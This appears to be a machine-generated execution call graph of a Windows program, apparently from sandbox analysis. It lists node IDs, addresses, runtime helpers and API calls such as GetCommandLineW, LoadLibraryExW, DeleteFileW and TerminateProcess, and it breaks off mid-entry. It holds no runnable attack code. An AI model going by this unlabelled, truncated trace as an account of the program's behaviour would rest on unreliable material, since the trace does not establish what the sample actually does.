                                                                                                                                                                                                                execution_graph 54796 701c7e 54797 701ca2 54796->54797 54808 717170 54797->54808 54800 701cca 54817 740ee0 54800->54817 54804 740ee0 194 API calls 54805 701cee 54804->54805 54848 8294aa 54805->54848 54807 701d03 54809 7171a1 _strlen 54808->54809 54855 7348b0 35 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 54809->54855 54811 7171b4 54856 717201 54811->54856 54813 7171bd 54814 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 54813->54814 54815 701ca9 54814->54815 54815->54800 54816 7412d0 210 API calls 3 library calls 54815->54816 54816->54800 54845 740f17 54817->54845 54818 740f1c 55017 7533c0 180 API calls 2 library calls 54818->55017 54819 740f3a TryAcquireSRWLockExclusive 54819->54845 54822 740f24 54823 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 54822->54823 54826 701cdc 54823->54826 54825 741071 ReleaseSRWLockExclusive 54825->54845 54826->54804 54828 741152 ReleaseSRWLockExclusive 54833 74115d 54828->54833 54830 7411e7 54831 74121f 54830->54831 55029 741520 37 API calls __floor_pentium4 54830->55029 54832 737db0 23 API calls 54831->54832 54837 74122b ReleaseSRWLockExclusive 54832->54837 54834 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 54833->54834 54834->54826 54837->54833 54839 741213 54841 737db0 23 API calls 54839->54841 54841->54831 54842 74111d 54842->54828 55028 741520 37 API calls __floor_pentium4 54842->55028 54844 741143 54846 737db0 23 API calls 54844->54846 54845->54818 54845->54819 54845->54825 54845->54828 54845->54830 54845->54831 54845->54833 55018 739e40 54845->55018 55024 751500 188 API calls 2 library calls 54845->55024 55025 737db0 54845->55025 55030 8294e7 EnterCriticalSection 54845->55030 55035 8293de 54845->55035 55045 82955d EnterCriticalSection LeaveCriticalSection 54845->55045 54847 74114f 54846->54847 54847->54828 54849 8294b3 54848->54849 54850 8294b5 IsProcessorFeaturePresent 54848->54850 54849->54807 54852 82a343 54850->54852 55069 82a428 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 54852->55069 54854 82a426 54854->54807 54855->54811 54857 717212 54856->54857 54863 71723a 54857->54863 54864 7524e0 54857->54864 54860 71722c 54860->54863 54874 751500 188 API calls 2 library calls 54860->54874 54863->54813 54865 752537 54864->54865 54875 74a440 54865->54875 54871 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 54872 71721f 54871->54872 54872->54860 54873 73a700 198 API calls 54872->54873 54873->54860 54874->54863 54890 78bd10 54875->54890 54877 74a473 54879 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 54877->54879 54881 74a47e GetFileAttributesW 54879->54881 54882 74a4b0 54881->54882 54883 74a4d0 54882->54883 54884 74a4e8 54882->54884 54972 78c080 54883->54972 54993 74a5b0 162 API calls 2 library calls 54884->54993 54888 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 54889 74a4e2 54888->54889 54889->54871 54891 78bd35 54890->54891 54894 78bd7c 54890->54894 54945 73b640 7 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 54891->54945 54893 78bd3f 54893->54894 54946 74b630 28 API calls 54893->54946 54900 78bde8 54894->54900 54948 73b640 7 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 54894->54948 54897 78bdab 54897->54900 54949 74b630 28 API calls 54897->54949 54898 78bd66 54947 73b700 10 API calls 54898->54947 54928 7788c0 54900->54928 54902 78bdd2 54950 73b700 10 API calls 54902->54950 54906 78beba 54933 74b5f0 TlsGetValue 54906->54933 54910 78be78 54910->54906 54952 74b630 28 API calls 54910->54952 54912 78bed2 54914 78bedb 54912->54914 54954 7c2ce0 11 API calls 2 library calls 54912->54954 54918 78bf1e 54914->54918 54920 78beeb 54914->54920 54924 78bf13 54914->54924 54915 78bea4 54953 73b700 10 API calls 54915->54953 54918->54924 54956 78bfe0 35 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 54918->54956 54920->54924 54955 78bb10 11 API calls 2 library calls 54920->54955 54921 78bf83 54923 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 54921->54923 54925 74a46a 54923->54925 54924->54921 54957 777de0 123 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 54924->54957 54925->54877 54927 74a770 162 API calls 3 library calls 54925->54927 54927->54877 54958 777be0 54928->54958 54931 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 54932 778912 54931->54932 54932->54906 54951 73b640 7 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 54932->54951 54934 74b614 54933->54934 54935 74b60b 54933->54935 54937 7d3fd0 54934->54937 54935->54934 54968 74b3c0 25 API calls 4 library calls 54935->54968 54938 7d3fdf 54937->54938 54940 7d402b 54937->54940 54969 73b640 7 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 54938->54969 54940->54912 54941 7d3fe9 54941->54940 54970 74b630 28 API calls 54941->54970 54943 7d4015 54971 73b700 10 API calls 54943->54971 54945->54893 54946->54898 54947->54894 54948->54897 54949->54902 54950->54900 54951->54910 54952->54915 54953->54906 54954->54914 54956->54924 54957->54921 54959 777c03 54958->54959 54965 777c27 54958->54965 54966 74b250 TlsGetValue 54959->54966 54961 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 54962 777cd6 54961->54962 54962->54931 54963 777c08 54963->54965 54967 777eb0 138 API calls 54963->54967 54965->54961 54966->54963 54967->54965 54968->54934 54969->54941 54970->54943 54971->54940 54994 7766b0 54972->54994 54974 78c0af 54975 78c106 54974->54975 55008 73b640 7 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 54974->55008 54977 74b5f0 26 API calls 54975->54977 54979 78c11b 54977->54979 54978 78c0c4 54978->54975 55009 74b630 28 API calls 54978->55009 54999 7766e0 SetLastError 54979->54999 54982 78c0f0 55010 73b700 10 API calls 54982->55010 54986 78c135 54992 78c174 54986->54992 55011 78b750 35 API calls 2 library calls 54986->55011 54987 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 54988 74a4d7 54987->54988 54988->54888 54990 78c160 54990->54992 55012 78bb10 11 API calls 2 library calls 54990->55012 55002 777cf0 54992->55002 54993->54883 55013 83a7f2 54994->55013 54997 83a7f2 __dosmaperr 11 API calls 54998 7766c4 GetLastError SetLastError 54997->54998 54998->54974 55000 83a7f2 __dosmaperr 11 API calls 54999->55000 55001 7766f6 55000->55001 55001->54986 55003 777d96 55002->55003 55004 777d05 55002->55004 55003->54987 55004->55003 55005 777d1e TryAcquireSRWLockExclusive 55004->55005 55007 777d36 55005->55007 55006 777d8d ReleaseSRWLockExclusive 55006->55003 55007->55006 55008->54978 55009->54982 55010->54975 55011->54990 55016 846fb1 11 API calls 2 library calls 55013->55016 55015 7766bb 55015->54997 55016->55015 55017->54822 55022 739e5f 55018->55022 55020 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55021 73a0f7 55020->55021 55021->54845 55023 739e8a 55022->55023 55050 737fc0 35 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 55022->55050 55023->55020 55024->54845 55051 731510 55025->55051 55028->54844 55029->54839 55033 8294fb 55030->55033 55032 829500 LeaveCriticalSection 55032->54845 55033->55032 55060 8295a7 SleepConditionVariableCS LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 55033->55060 55037 8293e3 55035->55037 55038 8293fd 55037->55038 55040 8293ff 55037->55040 55061 758c30 55037->55061 55065 837e45 EnterCriticalSection LeaveCriticalSection ___std_exception_copy 55037->55065 55038->54845 55041 82a229 55040->55041 55066 82b50c RaiseException 55040->55066 55067 82b50c RaiseException 55041->55067 55044 82a246 55044->54845 55046 8295f5 55045->55046 55047 829600 WakeAllConditionVariable 55046->55047 55048 829611 SetEvent ResetEvent 55046->55048 55047->54845 55048->54845 55050->55023 55052 73151a 55051->55052 55054 73152e TryAcquireSRWLockExclusive 55051->55054 55055 731536 55052->55055 55054->54842 55054->54845 55056 73154c 55055->55056 55058 731579 CatchIt 55056->55058 55059 73190e 23 API calls __fread_nolock 55056->55059 55058->55054 55059->55058 55060->55033 55063 758c40 55061->55063 55062 758c65 55062->55037 55063->55062 55068 78fa70 EnterCriticalSection LeaveCriticalSection ___std_exception_copy 55063->55068 55065->55037 55066->55041 55067->55044 55068->55063 55069->54854 55070 6f5a70 55071 6f5ab3 55070->55071 55080 6f5a9e 55070->55080 55073 8294e7 __Init_thread_header 6 API calls 55071->55073 55072 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55074 6f5aa8 55072->55074 55075 6f5abd 55073->55075 55076 8293de 3 API calls 55075->55076 55075->55080 55077 6f5ad0 55076->55077 55082 6f5b20 55077->55082 55079 82955d __Init_thread_footer 5 API calls 55079->55080 55080->55072 55081 6f5aed 55081->55079 55087 6f5d00 55082->55087 55085 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55086 6f5b53 55085->55086 55086->55081 55088 6f5d39 55087->55088 55089 740ee0 194 API calls 55088->55089 55091 6f5d6b 55089->55091 55091->55091 55099 6f5dc2 55091->55099 55107 738b80 55091->55107 55095 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55097 6f5b49 55095->55097 55097->55085 55144 6f5e80 55099->55144 55102 738b80 35 API calls 55103 6f5e06 55102->55103 55104 752320 180 API calls 55103->55104 55105 6f5e0c 55104->55105 55105->55099 55106 738610 35 API calls 55105->55106 55106->55099 55109 738bcf 55107->55109 55111 738c12 55109->55111 55112 738e4b 55109->55112 55122 738c17 __fread_nolock 55109->55122 55115 738e54 55111->55115 55116 738c4a 55111->55116 55111->55122 55194 730494 23 API calls 55112->55194 55114 738ce0 55119 737cd0 35 API calls 55114->55119 55195 83d9b4 55115->55195 55118 8293de 3 API calls 55116->55118 55117 738cc7 55177 737cd0 55117->55177 55118->55122 55128 738d16 55119->55128 55173 7321f0 55122->55173 55124 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55126 6f5db5 55124->55126 55125 738cd0 55125->55124 55129 752320 55126->55129 55190 731878 55128->55190 55130 752377 55129->55130 55131 74a440 177 API calls 55130->55131 55132 752388 GetFileAttributesW 55131->55132 55134 74a4b0 169 API calls 55132->55134 55135 7523a4 55134->55135 55136 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55135->55136 55137 6f5dbb 55136->55137 55137->55099 55138 738610 55137->55138 55139 73863a 55138->55139 55140 737cd0 35 API calls 55139->55140 55141 738648 55140->55141 55142 6f5dd2 55141->55142 55219 731bbc 55141->55219 55142->55102 55145 8293de 3 API calls 55144->55145 55146 6f5e9c 55145->55146 55223 701ea0 55146->55223 55149 6f5ecb 55239 7611b0 121 API calls 55149->55239 55151 6f5ed4 55240 749420 35 API calls _unexpected 55151->55240 55153 6f5ef0 _strlen 55241 749420 35 API calls _unexpected 55153->55241 55155 6f5f16 55242 731a38 55155->55242 55158 731878 23 API calls 55160 6f5f67 _strlen 55158->55160 55246 749420 35 API calls _unexpected 55160->55246 55161 6f608a 55171 6f616a 55161->55171 55247 7611b0 121 API calls 55161->55247 55163 731a38 23 API calls 55165 6f6193 55163->55165 55164 6f6100 55248 749420 35 API calls _unexpected 55164->55248 55166 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55165->55166 55167 6f5e4f 55166->55167 55167->55095 55169 6f611c 55170 731878 23 API calls 55169->55170 55170->55171 55171->55163 55174 732225 55173->55174 55206 73225a 55174->55206 55178 737cdf 55177->55178 55182 737d04 __fread_nolock 55177->55182 55179 737d81 55178->55179 55180 737cff 55178->55180 55213 730494 23 API calls 55179->55213 55180->55182 55183 737d88 55180->55183 55184 737d29 55180->55184 55185 737d78 55182->55185 55212 731dd6 23 API calls CatchIt 55182->55212 55186 83d9b4 _unexpected 34 API calls 55183->55186 55187 8293de 3 API calls 55184->55187 55185->55125 55189 737d8d 55186->55189 55187->55182 55191 73188c 55190->55191 55193 7318bf __fread_nolock 55191->55193 55214 73190e 23 API calls __fread_nolock 55191->55214 55193->55125 55215 8436fc EnterCriticalSection LeaveCriticalSection _unexpected 55195->55215 55197 83d9b9 55198 83d9c4 55197->55198 55216 8438e2 34 API calls 4 library calls 55197->55216 55199 83d9ed 55198->55199 55200 83d9ce IsProcessorFeaturePresent 55198->55200 55218 837ba9 16 API calls _unexpected 55199->55218 55202 83d9da 55200->55202 55217 83be76 8 API calls 3 library calls 55202->55217 55205 83d9f7 55207 73226b 55206->55207 55208 73223a 55207->55208 55211 7304a2 23 API calls 55207->55211 55208->55114 55208->55117 55212->55185 55214->55193 55215->55197 55216->55198 55217->55199 55218->55205 55220 731bcc 55219->55220 55221 731536 23 API calls 55220->55221 55222 731bd8 55221->55222 55222->55142 55224 738b80 35 API calls 55223->55224 55225 701ed2 55224->55225 55249 73aa30 55225->55249 55227 701eed 55229 701f22 55227->55229 55262 74c7e0 5 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 55227->55262 55263 74d170 5 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 55229->55263 55231 701f3f 55264 751320 5 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 55231->55264 55233 701f46 55237 701f5b 55233->55237 55265 751320 5 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 55233->55265 55235 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55236 6f5ec4 55235->55236 55238 6f6280 5 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 55236->55238 55237->55235 55238->55149 55239->55151 55240->55153 55241->55155 55243 731a48 55242->55243 55244 731878 23 API calls 55243->55244 55245 6f5f25 55244->55245 55245->55158 55246->55161 55247->55164 55248->55169 55266 73a590 55249->55266 55252 73aad6 GetLastError 55254 73aaee 55252->55254 55256 73aafe 55252->55256 55253 73aa76 55276 73adf0 61 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 55253->55276 55255 752320 180 API calls 55254->55255 55254->55256 55255->55256 55259 73aac7 55256->55259 55277 730c44 55256->55277 55260 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55259->55260 55261 73ab4e 55260->55261 55261->55227 55262->55229 55263->55231 55264->55233 55265->55237 55268 73a5a0 55266->55268 55267 739e40 35 API calls 55269 73a5c2 55267->55269 55268->55267 55270 73a5ee 55269->55270 55281 753180 55269->55281 55270->55252 55270->55253 55274 73a5e3 55296 841850 71 API calls 3 library calls 55274->55296 55276->55259 55278 730c54 _strlen 55277->55278 55380 730632 55278->55380 55280 730c60 55280->55259 55282 7531d6 55281->55282 55283 74a440 177 API calls 55282->55283 55284 7531e5 _strlen 55283->55284 55297 748e60 55284->55297 55286 753215 55302 731cfa 55286->55302 55288 753244 55307 8403cc 55288->55307 55290 75325f 55291 74a4b0 169 API calls 55290->55291 55292 75327f 55291->55292 55293 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55292->55293 55294 73a5d1 55293->55294 55294->55270 55295 73a330 189 API calls 3 library calls 55294->55295 55295->55274 55296->55270 55326 748ac0 55297->55326 55300 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55301 748ea9 55300->55301 55301->55286 55303 731d0e 55302->55303 55306 731d1d CatchIt 55303->55306 55333 7304a2 23 API calls 55303->55333 55306->55288 55308 8403d7 CallCatchBlock 55307->55308 55309 8403ea 55308->55309 55312 84040c 55308->55312 55310 83a7f2 __dosmaperr 11 API calls 55309->55310 55311 8403ef 55310->55311 55348 83be02 22 API calls __fread_nolock 55311->55348 55314 840411 55312->55314 55315 84041e 55312->55315 55317 83a7f2 __dosmaperr 11 API calls 55314->55317 55334 84d090 55315->55334 55325 8403fa 55317->55325 55319 84042d 55321 83a7f2 __dosmaperr 11 API calls 55319->55321 55320 84043a 55342 84f5c7 55320->55342 55321->55325 55325->55290 55331 748ae1 55326->55331 55327 748ae8 55328 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55327->55328 55329 748e4e 55328->55329 55329->55300 55331->55327 55332 731690 23 API calls __fread_nolock 55331->55332 55332->55327 55335 84d09c CallCatchBlock 55334->55335 55350 847ce1 EnterCriticalSection 55335->55350 55337 84d0aa 55351 84d134 55337->55351 55343 84f5d2 55342->55343 55365 83a992 55343->55365 55346 84044d 55349 840476 LeaveCriticalSection __fread_nolock 55346->55349 55348->55325 55349->55325 55350->55337 55356 84d157 55351->55356 55352 84d0b7 55362 84d0f0 55352->55362 55353 84d1af 55354 758ce0 _unexpected EnterCriticalSection LeaveCriticalSection 55353->55354 55357 84d1b8 __freea 55354->55357 55355 82ea3f __fread_nolock EnterCriticalSection 55355->55356 55356->55352 55356->55353 55356->55355 55360 82ea53 __fread_nolock LeaveCriticalSection 55356->55360 55357->55352 55358 84775c __wsopen_s 6 API calls 55357->55358 55359 84d1e0 55358->55359 55361 82ea3f __fread_nolock EnterCriticalSection 55359->55361 55360->55356 55361->55352 55363 847cf8 _unexpected LeaveCriticalSection 55362->55363 55364 840427 55363->55364 55364->55319 55364->55320 55371 83a9c0 ___vcrt_FlsGetValue 55365->55371 55366 83ab10 55367 83a7f2 __dosmaperr 11 API calls 55366->55367 55370 83ab1b 55366->55370 55368 83abeb 55367->55368 55369 83be02 __fread_nolock 22 API calls 55368->55369 55369->55370 55370->55346 55377 83c5ac 55370->55377 55371->55366 55372 84025e 43 API calls 55371->55372 55373 83ab78 55372->55373 55373->55366 55374 84025e 43 API calls 55373->55374 55375 83ab96 55374->55375 55375->55366 55376 84025e 43 API calls 55375->55376 55376->55366 55378 83c8f6 __wsopen_s 90 API calls 55377->55378 55379 83c5c7 55378->55379 55379->55346 55381 730648 55380->55381 55383 730675 CatchIt 55381->55383 55384 7309ae 23 API calls __fread_nolock 55381->55384 55383->55280 55384->55383 54734 701c50 54737 837b93 54734->54737 54740 837cba 54737->54740 54741 837cda 54740->54741 54742 837cc8 54740->54742 54752 837df8 54741->54752 54768 82a489 GetModuleHandleW 54742->54768 54745 837ccd 54745->54741 54769 837c12 GetModuleHandleExW 54745->54769 54747 701c5a 54753 837e04 CallCatchBlock 54752->54753 54775 847ce1 EnterCriticalSection 54753->54775 54755 837e0e 54776 837d1e 54755->54776 54757 837e1b 54780 837e39 54757->54780 54760 837c65 54785 8497fb GetPEB 54760->54785 54763 837c94 54766 837c12 _unexpected 3 API calls 54763->54766 54764 837c74 GetPEB 54764->54763 54765 837c84 GetCurrentProcess TerminateProcess 54764->54765 54765->54763 54767 837c9c ExitProcess 54766->54767 54768->54745 54770 837c31 GetProcAddress 54769->54770 54771 837c54 54769->54771 54772 837c46 54770->54772 54773 837c63 54771->54773 54774 837c5a FreeLibrary 54771->54774 54772->54771 54773->54741 54774->54773 54775->54755 54777 837d2a CallCatchBlock 54776->54777 54779 837d8b _unexpected 54777->54779 54783 83a0f0 EnterCriticalSection LeaveCriticalSection _unexpected 54777->54783 54779->54757 54784 847cf8 LeaveCriticalSection 54780->54784 54782 837d0d 54782->54747 54782->54760 54783->54779 54784->54782 54786 837c6f 54785->54786 54787 849815 54785->54787 54786->54763 54786->54764 54789 8478ac 5 API calls _unexpected 54787->54789 54789->54786 55385 6f1000 55433 733f70 55385->55433 55387 6f1027 55442 6f59e4 55387->55442 55390 6f104f _strlen 55447 6f5a43 55390->55447 55391 6f103e 55610 6f5a0e 472 API calls 55391->55610 55393 6f1045 55396 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55393->55396 55398 6f1319 55396->55398 55399 6f107f 55459 75a1d0 55399->55459 55403 6f10f5 55404 740ee0 194 API calls 55403->55404 55405 6f1118 55404->55405 55406 738b80 35 API calls 55405->55406 55407 6f113b 55406->55407 55472 73ba00 55407->55472 55409 6f11f5 55580 749df0 55409->55580 55410 6f117f 55410->55409 55500 73bec0 55410->55500 55416 6f11b4 55523 735860 55416->55523 55421 6f11d9 55544 73c2a0 55421->55544 55434 733f83 55433->55434 55435 734016 55433->55435 55436 8293de 3 API calls 55434->55436 55435->55387 55437 733f8a 55436->55437 55438 8293de 3 API calls 55437->55438 55439 733fa3 GetCommandLineW 55438->55439 55440 733ff3 55439->55440 55611 734020 55440->55611 55691 700acc 55442->55691 55445 6f1037 55445->55390 55445->55391 55721 758410 55447->55721 55452 7581c0 55453 758215 CoInitializeEx 55452->55453 55454 7581e3 55452->55454 55453->55399 57119 82940e RaiseException EnterCriticalSection LeaveCriticalSection 55454->57119 55456 7581ef 55457 758201 55456->55457 57120 78e940 6 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 55456->57120 55457->55453 55460 75a202 55459->55460 55464 75a255 55459->55464 55461 75a278 FileTimeToSystemTime 55460->55461 55462 75a228 FileTimeToSystemTime 55460->55462 55461->55464 55463 75a243 SystemTimeToTzSpecificLocalTime 55462->55463 55462->55464 55463->55464 55465 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55464->55465 55466 6f10ce 55465->55466 55467 7487e0 55466->55467 57121 748840 55467->57121 55470 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55471 748829 55470->55471 55471->55403 55473 73ba18 55472->55473 57182 734730 55473->57182 55476 73ba36 55477 73bb9b 55476->55477 55479 8293de 3 API calls 55476->55479 55499 73babe 55476->55499 55478 734730 5 API calls 55478->55476 55480 73ba5c _strlen 55479->55480 55485 7347a0 23 API calls 55480->55485 55481 73bb2f 55487 8293de 3 API calls 55481->55487 55489 73bb40 55481->55489 55482 73baed CloseHandle 55484 73bb08 55482->55484 55482->55489 55483 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55486 73bb91 55483->55486 55484->55481 55492 73ba87 _strlen 55485->55492 55486->55410 55487->55489 55488 731bbc 23 API calls 55491 73bb66 55488->55491 55489->55488 55490 73bb80 57186 73bba0 55490->57186 55491->55490 55493 73bb79 DeleteFileW 55491->55493 55495 7347a0 23 API calls 55492->55495 55493->55490 55497 73baad 55495->55497 55496 73bb85 55496->55483 57223 776090 44 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 55497->57223 55499->55481 55499->55482 55499->55496 57226 71b046 55500->57226 55505 7766b0 13 API calls 55506 73bf49 55505->55506 57232 73bf60 55506->57232 55509 6f1741 55510 6f181d 55509->55510 55511 6f1771 55509->55511 55512 6f19a0 121 API calls 55510->55512 55513 719db0 121 API calls 55511->55513 55518 6f177e 55511->55518 55514 6f1825 55512->55514 55513->55518 55516 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55514->55516 55519 6f182f 55516->55519 55517 6f1800 55517->55510 57388 71afea 121 API calls 55517->57388 55520 72bb88 10 API calls 55518->55520 55522 6f17ad 55518->55522 55519->55416 55520->55522 57387 6f1840 8 API calls 2 library calls 55522->57387 55524 7313a0 23 API calls 55523->55524 55525 735896 55524->55525 57389 735960 55525->57389 55527 7358a2 57395 735c00 55527->57395 55530 731a38 23 API calls 55532 735921 55530->55532 55531 735938 55533 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55531->55533 55534 731878 23 API calls 55532->55534 55535 6f11c9 55533->55535 55534->55531 55536 73cb30 55535->55536 55537 73cb51 55536->55537 55541 73cb6f 55536->55541 57409 7492e0 23 API calls 55537->57409 55538 6f1741 121 API calls 55540 73cbbf 55538->55540 55542 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55540->55542 55541->55538 55543 73cbe0 55542->55543 55543->55421 55545 73c2ef 55544->55545 55546 72bb88 10 API calls 55545->55546 55547 73c335 55546->55547 57410 71ab60 55547->57410 55550 719db0 121 API calls 55551 73c35d 55550->55551 55552 6f5604 23 API calls 55551->55552 55554 73c38a 55552->55554 55553 73c82d 55554->55553 55555 8293de 3 API calls 55554->55555 55562 73c397 55554->55562 55556 73c6d0 55555->55556 57437 7792a0 50 API calls 2 library calls 55556->57437 55559 73c439 57428 8419a3 55559->57428 55560 73c6ec 57438 711c60 GetCurrentThreadId 55560->57438 55573 73c4d2 __fread_nolock 55562->55573 57418 8428cd 55562->57418 55566 8294e7 __Init_thread_header 6 API calls 55568 73c7c7 55566->55568 55570 73c532 55568->55570 55571 82955d __Init_thread_footer 5 API calls 55568->55571 55569 7766e0 12 API calls 55575 73c64a 55569->55575 55570->55553 55572 8294e7 __Init_thread_header 6 API calls 55570->55572 55578 73c4c9 _strlen 55570->55578 55571->55570 55574 73c7ff 55572->55574 55573->55566 55573->55570 55574->55578 55578->55553 55578->55569 57444 783920 55580->57444 55582 749e14 57462 749e40 55582->57462 55610->55393 55634 746f20 55611->55634 55614 734057 LoadLibraryExW 55616 73409a CommandLineToArgvW 55614->55616 55617 73407f GetProcAddress 55614->55617 55615 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55618 734225 55615->55618 55620 7340a5 55616->55620 55619 73408f 55617->55619 55618->55435 55619->55620 55622 8293de 3 API calls 55620->55622 55625 73423b 55620->55625 55632 7341a8 55620->55632 55633 7340eb __fread_nolock 55622->55633 55624 7341d4 FreeLibrary 55626 7341db 55624->55626 55626->55615 55627 73422f 55649 730494 23 API calls 55627->55649 55629 734236 55631 83d9b4 _unexpected 34 API calls 55629->55631 55630 8293de 3 API calls 55630->55633 55631->55625 55638 733c40 55632->55638 55633->55627 55633->55629 55633->55630 55633->55632 55635 746f4e 55634->55635 55636 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55635->55636 55637 734049 55636->55637 55637->55614 55637->55626 55639 8293de 3 API calls 55638->55639 55640 733c5c 55639->55640 55641 733d2a 55640->55641 55642 737cd0 35 API calls 55640->55642 55650 733a80 55641->55650 55642->55641 55644 733d3f 55665 734270 55644->55665 55646 733d4e 55647 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55646->55647 55648 733d58 LocalFree 55647->55648 55648->55624 55648->55626 55651 733aa5 55650->55651 55652 746f20 5 API calls 55651->55652 55653 733ab8 55652->55653 55654 733bc1 55653->55654 55655 733aeb 55653->55655 55657 733af0 __fread_nolock 55653->55657 55684 730494 23 API calls 55654->55684 55655->55657 55658 733b27 55655->55658 55659 733bca 55655->55659 55660 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55657->55660 55661 8293de 3 API calls 55658->55661 55662 83d9b4 _unexpected 34 API calls 55659->55662 55663 733bb7 55660->55663 55661->55657 55664 733bcf 55662->55664 55663->55644 55666 734592 55665->55666 55675 7342a5 __fread_nolock 55665->55675 55667 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55666->55667 55668 734698 55667->55668 55668->55646 55669 746f20 5 API calls 55669->55675 55670 7346a2 55690 730494 23 API calls 55670->55690 55672 7346ab 55673 83d9b4 _unexpected 34 API calls 55672->55673 55673->55672 55674 8293de 3 API calls 55674->55675 55675->55666 55675->55669 55675->55670 55675->55672 55675->55674 55676 73225a 23 API calls 55675->55676 55678 7313a0 23 API calls 55675->55678 55680 73467c 55675->55680 55685 735220 23 API calls 2 library calls 55675->55685 55686 7354e0 5 API calls 2 library calls 55675->55686 55687 7356a0 35 API calls 3 library calls 55675->55687 55688 7492e0 23 API calls 55675->55688 55689 711878 35 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 55675->55689 55676->55675 55678->55675 55680->55646 55685->55675 55686->55675 55687->55675 55688->55675 55689->55675 55699 7347a0 55691->55699 55693 700afa _strlen 55695 700b2c 55693->55695 55707 73130a 23 API calls _strlen 55693->55707 55696 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55695->55696 55697 6f59f1 55696->55697 55697->55445 55698 700dac 23 API calls 2 library calls 55697->55698 55698->55445 55700 7347e2 55699->55700 55703 7347fa 55700->55703 55708 7313a0 55700->55708 55702 73485b 55705 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55702->55705 55703->55702 55718 7492e0 23 API calls 55703->55718 55706 734896 55705->55706 55706->55693 55707->55695 55709 7313cc 55708->55709 55717 7313bc __fread_nolock 55708->55717 55710 731433 55709->55710 55711 7313d7 55709->55711 55719 730494 23 API calls 55710->55719 55713 7313f4 55711->55713 55714 73143a 55711->55714 55711->55717 55715 8293de 3 API calls 55713->55715 55720 72ee4e 23 API calls 2 library calls 55714->55720 55715->55717 55717->55703 55718->55702 55722 75841c 55721->55722 55865 843723 55722->55865 55725 718004 55726 718023 55725->55726 55727 718a03 55726->55727 55729 7180e5 55726->55729 55731 71804c 55726->55731 55728 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55727->55728 55730 6f1064 55728->55730 56027 7346b0 35 API calls 55729->56027 55730->55452 55734 7180f6 55731->55734 55928 7346b0 35 API 